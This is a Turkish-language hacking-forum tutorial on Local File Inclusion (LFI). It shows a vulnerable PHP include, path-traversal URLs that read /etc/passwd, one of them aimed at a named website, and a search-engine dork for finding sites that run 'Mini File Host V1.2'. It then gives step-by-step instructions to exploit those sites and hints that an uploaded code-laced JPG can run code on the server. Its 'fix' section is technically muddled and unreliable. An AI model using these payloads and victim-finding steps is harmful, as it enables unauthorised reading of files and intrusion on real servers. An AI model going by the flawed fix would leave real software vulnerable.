LFI Local File İnclude (Kaliteli Döküman)

Giriş :

Local File İnclude Rfi kadar işlevselliği olmayan ama her Hacker adayı için bilmesi gereken bir açık türü olan LFI yi anlatacağım.
THE_MILLER

LFI Nedir Peki ?

Lfı uzaktan servera dosya ekleme dahil etme anlamına gelir.
THE_MILLER

Lfi Rfi Kadar Etkilimidir Acaba?

Rfi kadar etkili olamasada yeterlidir.

Bunları anladık Peki miller Bunun Kullanımı Nasıl ?

include (’data/$miller/function.php’);
?>

THE_MILLER

burda gördünüz gibi rfi olarak düşünürsen miller
tanımlanmamış .

fakat bu lfi de shell olarak kullanılamaz tanımlanmayan degişken (miller)kullanılarak dosya okunabilir yukarıdaki kodu Cyber.php olarak kaydedin

THE_MILLER

Daha sonra

http://www.herhangisite.com/Cyber.php?miller=../../../Cyber-Warrior

dosyası okunabilir izin varsa okunur bu
açıkla neler yapılır ?

etc/passwd , config okuruz ya da ftp alırız ...

LFI açığını Nasıl Kapatıcağız Miller ?

THE_MILLER



$miller=’sdwd’
include (’data/$miller/function.php’);
?>

bu kod sayesinde açık kapaır çünkü miller ’i burda tanımladık

http://www.herhangisite.com/Cyber.php?miller=../../../Cyber-Warrior

THE_MILLER

yaptığınız an LFI çalışmaz


THE_MILLER
Örnek LFI :




b http://charlotte-wilson.net/view.php?list=..%2F..%2F..%20%2F..%2F..%2F..%2F..% 2F..%2F..%2F..%2Fetc%2Fpasswd/b



Not: Lfi açığı olan sisteme kod enjekte edilmiş bir jpg dosya atılarak server üzerinde işlem yapılabilir.

THE_MILLER

ÖrnEk bir LFI açığı ve Kullanımınıda Vereyim :

Mini File Host = 1.2 LFI Vulnerability

THE_MILLER
AUTHOR : Scary-Boys
Download : color=#0000cc http://galaxyscripts.com/forum/downloads.php?do=file&id=1
DorKs : "Powered By Mini File Host V1.2"
EXPLOIT : * http://site.com/Path/pages/upload.php?language=[-LFI-]
Powered By Mini File Host V1.2 googlede arayın sonra buldugunuz sitenin sonuna
pages/upload.php?language=[LFI] benim bildigim tek LFI kod : ../../../../etc/passwd [LFI] yazan yeri silip bu kod yapıştırın

THE_MILLER

Bu döküman THE_MILLER ’e aittir izinsiz kullanımı yasaktır!

Konu ile ilgili daha fazla bilgi ve örnek lazımsa belirtin.
Umarım faydalı bir döküman olmuştur

Saygılar // THE_MILLER